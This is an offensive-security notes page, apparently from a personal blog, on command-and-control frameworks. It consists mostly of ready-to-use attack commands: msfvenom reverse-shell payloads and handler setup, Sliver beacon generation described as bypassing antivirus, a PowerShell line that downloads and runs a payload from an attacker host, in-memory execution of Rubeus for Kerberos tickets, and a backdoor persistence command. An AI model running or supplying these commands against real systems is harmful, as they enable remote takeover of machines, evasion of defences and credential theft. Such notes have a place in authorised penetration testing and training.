Howlsec
HOWLSEC
offensive security
// notes/ Exploitation & Tooling
📡

Command & Control (C2)

Notes on C2 frameworks and post-exploitation command-and-control.

#c2#post-exploitation

Command & Control (C2)

Metasploit

https://infinitelogins.com/2020/01/25/msfvenom-reverse-shell-payload-cheatsheet/

🐺 howlsec@kali
01msfvenom -p linux/x64/shell_reverse_tcp LHOST=eth0 LPORT=443 -f elf > shell-x64.elf
multi handler:
🐺 howlsec@kali
01use exploit/multi/handler
02set lhost eth0
03set lport 443
04run
basic navigation and session management:
🐺 howlsec@kali
01ctrl + z
02search shell_to
03use 0
04sessions
05set session 5
06run
07sessions 6
single port forwarding:
🐺 howlsec@kali
01portfwd add -l 1234 -p 8080 -r 127.0.0.1

Sliver

https://www.youtube.com/watch?app=desktop&v=FYWGhdaDcZo https://www.youtube.com/watch?v=eZOeF-3qMtg https://www.youtube.com/watch?v=eotEvAZw5Lc&list=PL0UJtYdHHM46sIZbkieIe6BhKzfu4QOI9&index=4

Setup:
🐺 howlsec@kali
01./sliver-server
02new-operator --name arcos --lhost localhost
03multiplayer
04armory install all
Payload beacon, bypasses AV:

generate beacon --os windows --arch amd64 -m 192.168.1.42:53 -f shellcode -s /tmp/uwu.bin --skip-symbols -S 5

🐺 howlsec@kali
01msfvenom -p generic/custom payloadfile=/tmp/uwu.bin -a x64 -f psh -o /tmp/uwu.ps1
🐺 howlsec@kali
01iex (iwr -usebasicparsing <http://192.168.1.42/uwu.ps1>[)]

Assemly in process execution:

execute-assembly -i -E /opt/tools/windows_privesc/Rubeus.exe klist

Listeners, status, and navigation:
🐺 howlsec@kali
01mtls -l 53
02https -l 443
03jobs
04beacons
05shell
🐺 howlsec@kali
01beacons rm
02session -K
Persistance (incomplete):

profiles new --format shellcode --mtls 192.168.1.42:53 profile1 backdoor --profile profile1 "c:\windows\system32\calc.exe"